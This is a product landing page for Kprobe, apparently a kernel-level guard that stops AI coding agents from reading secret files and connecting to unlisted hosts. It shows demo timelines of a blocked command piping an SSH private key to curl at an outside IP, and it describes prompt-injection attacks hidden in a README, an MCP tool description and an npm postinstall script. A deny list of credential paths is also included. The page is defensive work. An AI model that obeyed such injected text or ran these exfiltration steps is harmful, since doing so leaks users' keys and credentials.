Kprobe

Your agent can read the attack. It cannot run it.

curl -fsSL kprobe.xyz/install.sh | sh
Install
/ arena / readme-enforceRECORDED
TimelinePolicyRulesShare
AGENT TRANSCRIPT
KERNEL TIMELINE
Claude Code
Codex
Cursor
GitHub Actions
Docker
Linux
MCP
Ubuntu
Debian
Fedora
Arch Linux
Kubernetes
Kernel Policy

Secrets the agent cannot open, whatever it was told

One policy file per agent. Kprobe follows the agent's whole process tree through its cgroup and refuses every open of a protected path in the kernel, before a single byte is read. Learn more →

/claude-code/production
TimelinePolicyRulesSettings
+-⤢
policy/claude-code.yaml7 rules
claude
pid 4120 uid agent
Running under kprobe
bash -c
pid 4188
exec allowed
cat ~/.ssh/id_ed25519
openat
DENIED KP-0001
curl 203.0.113.7:8443
connect4
DENIED egress allowlist
npm test
pid 4201
registry.npmjs.org:443 allowed
Activity: 2 denied, tree killed

Paths, names and inodes

Protect a directory, a file name anywhere on disk, or an inode. Symlinks and hard links resolve to the same answer.

Enforced below the agent

The verdict comes from ksyscall and LSM hooks, or seccomp on microVM kernels. A prompt can change the model, not the kernel.

One YAML file

deny_read, egress_allow, kill_on. Lint it with kprobe policy lint, commit it next to the agent's config.

Hooks ksyscall/openatkprobe/security_file_openlsm/file_openseccomp user-notify
Egress Allowlist

Only the model API and the registries you allow

cgroup/connect and cgroup/sendmsg programs sit on the agent's own cgroup. Every socket it opens is checked against the allowlist in the kernel. DNS leaves through one resolver, so it cannot be used as a tunnel.

Learn more →

Hosts, CIDRs and IPv6

Names resolve when the run starts; addresses land in an LPM trie map.

Every connect on the timeline

Allowed and denied, with the process that asked and the rule that answered.

Hooks cgroup/connect4connect6sendmsg4sendmsg6
claude-code
cgroup kprobe/run-4120
✓TCP:443 | api.anthropic.com | allowed
×TCP:8443 | 203.0.113.7 | DENIED
registry.npmjs.org
allowlist, resolved at start
Kill Switch Rules

A secret read followed by a new host ends the whole tree

Sequence rules watch the order of events. When a denied secret read is followed by a connect to a host the policy never allowed, Kprobe writes to cgroup.kill and every process the agent started ends at once.

Learn more →

The packet never leaves

The connect is refused in the kernel first. The kill only ends the run.

Children included

Background jobs, subshells and detached processes share the cgroup and go with it.

Rule KP-0007 secret-then-egresscgroup.kill
cat
openat ~/.ssh/id_ed25519
DENIED
curl
connect 203.0.113.7:8443
DENIED
cgroup
kprobe/run-4120
KILLED
Agent Timeline

Every file, exec and socket your agent touched, in order

The timeline is JSON lines from a BPF ring buffer: one event per syscall that matters, with the hook, the process and the rule. Pipe it, store it, or read it with kprobe watch. Learn more →

/ci-runner-07/production
TimelinePolicyRulesSettings
Opens
Denied reads
Egress
1723 msexecbashbash -c cat ~/.ssh/id_ed25519 | curl ...exec
1751 msopencat~/.ssh/id_ed25519DENIED KP-0001
1793 msconnectcurl203.0.113.7:8443DENIED policy/arena
1797 mskillprocess tree, secret-then-egressKILLED KP-0007
1898 msexitcode 137, 3 denied, killed

JSON lines

Stable fields: t, ev, pid, comm, path or addr, verdict, rule, hook. Easy to grep, easy to ship.

kprobe watch

A colour terminal view of any run log, live with -f. Blocks in vermilion.

Audit mode

Run with --audit to see what a policy would deny on a real workload before you enforce it.

Fields evverdictrulehook
CI Guard

Put the agent in a pipeline. Fail the job when a rule fires.

GitHub Actions runners have root and BTF, so the full kernel backend loads in a workflow step. The run exits non-zero on a deny and the timeline goes up as an artifact. Learn more →

.github/workflows/agent.yml
- name: Install kprobe
  run: curl -fsSL kprobe.xyz/install.sh | sh
- name: Agent run, under policy
  run: |
    sudo kprobe run \
      --policy .kprobe/claude-code.yaml \
      --rules /opt/kprobe/rules \
      --user runner --log kprobe.jsonl \
      -- claude -p "fix the failing test"
- uses: actions/upload-artifact@v4
  if: always()
  with: { name: timeline, path: kprobe.jsonl }
pr-112
main
agent run #418failed: KP-0003 .env
0 msstartmode=enforce file=kprobe/security_file_open
412 msexecnodenpm testok
2104 msopennode~/work/app/.env.productionDENIED KP-0003
2111 msexitcode 1, 1 denied
Works with

Five attacks agents meet in real work

Open the arena →
Poisoned README

Hidden in an HTML comment in README.md. The agent reads it, believes it, and tries to send ~/.ssh/id_ed25519 to a server it has never seen.

×
Blocked at openat
then connect denied, tree killed
Malicious MCP tool description

Hidden in the description field of an MCP tool. The agent reads it, believes it, and tries to send ~/.aws/credentials to a server it has never seen.

×
Blocked at openat
then connect denied, tree killed
npm postinstall script

Hidden in a dependency's package.json. The agent reads it, believes it, and tries to send ~/.ethereum/keystore to a server it has never seen.

×
Blocked at openat
then connect denied, tree killed

...and seven rules on record

Read the rule registry →
KP-0001SSH private keys

~/.ssh and id_rsa, id_ed25519, id_ecdsa anywhere on disk.

KP-0002Cloud credentials

~/.aws, ~/.config/gcloud, ~/.azure, ~/.kube.

KP-0003Environment files

.env, .env.* and .envrc in any directory.

KP-0004Wallet keys

~/.ethereum, foundry keystores, ~/.config/solana, wallet.dat.

KP-0005Browser sessions

Cookie and login stores of Firefox, Chrome, Chromium, Brave.

KP-0006Registry tokens

.npmrc, .pypirc, .netrc, .git-credentials, ~/.gnupg.

KP-0007Secret then egress

A denied secret read followed by a denied connect kills the tree.

KP-0001SSH private keys

~/.ssh and id_rsa, id_ed25519, id_ecdsa anywhere on disk.

KP-0002Cloud credentials

~/.aws, ~/.config/gcloud, ~/.azure, ~/.kube.

KP-0003Environment files

.env, .env.* and .envrc in any directory.

KP-0004Wallet keys

~/.ethereum, foundry keystores, ~/.config/solana, wallet.dat.

KP-0005Browser sessions

Cookie and login stores of Firefox, Chrome, Chromium, Brave.

KP-0006Registry tokens

.npmrc, .pypirc, .netrc, .git-credentials, ~/.gnupg.

KP-0007Secret then egress

A denied secret read followed by a denied connect kills the tree.

KP-0001SSH private keys

Caught the README attack: cat ~/.ssh/id_ed25519 denied at openat.

KP-0002Cloud credentials

Caught the MCP tool attack: ~/.aws/credentials denied.

KP-0003Environment files

Caught the .cursorrules attack: project/.env denied.

KP-0004Wallet keys

Caught the postinstall and issue attacks: keystore and id.json denied.

KP-0005Browser sessions

Session cookies are the new passwords. Nothing in a browser profile is readable.

KP-0006Registry tokens

Publishing tokens stay with the human who owns them.

KP-0007Secret then egress

Fired in all five enforce runs on record.

KP-0001SSH private keys

Caught the README attack: cat ~/.ssh/id_ed25519 denied at openat.

KP-0002Cloud credentials

Caught the MCP tool attack: ~/.aws/credentials denied.

KP-0003Environment files

Caught the .cursorrules attack: project/.env denied.

KP-0004Wallet keys

Caught the postinstall and issue attacks: keystore and id.json denied.

KP-0005Browser sessions

Session cookies are the new passwords. Nothing in a browser profile is readable.

KP-0006Registry tokens

Publishing tokens stay with the human who owns them.

KP-0007Secret then egress

Fired in all five enforce runs on record.

10 arena runs on record (15 reads denied)

R
U
N
S
0
R
E
A
D
S
D
E
N
I
E
D
0
C
O
N
N
E
C
T
S
D
E
N
I
E
D
0
T
R
E
E
S
K
I
L
L
E
D
0
L
E
A
K
E
D
I
N
A
U
D
I
T
0
An agent should never be one README away from your keys.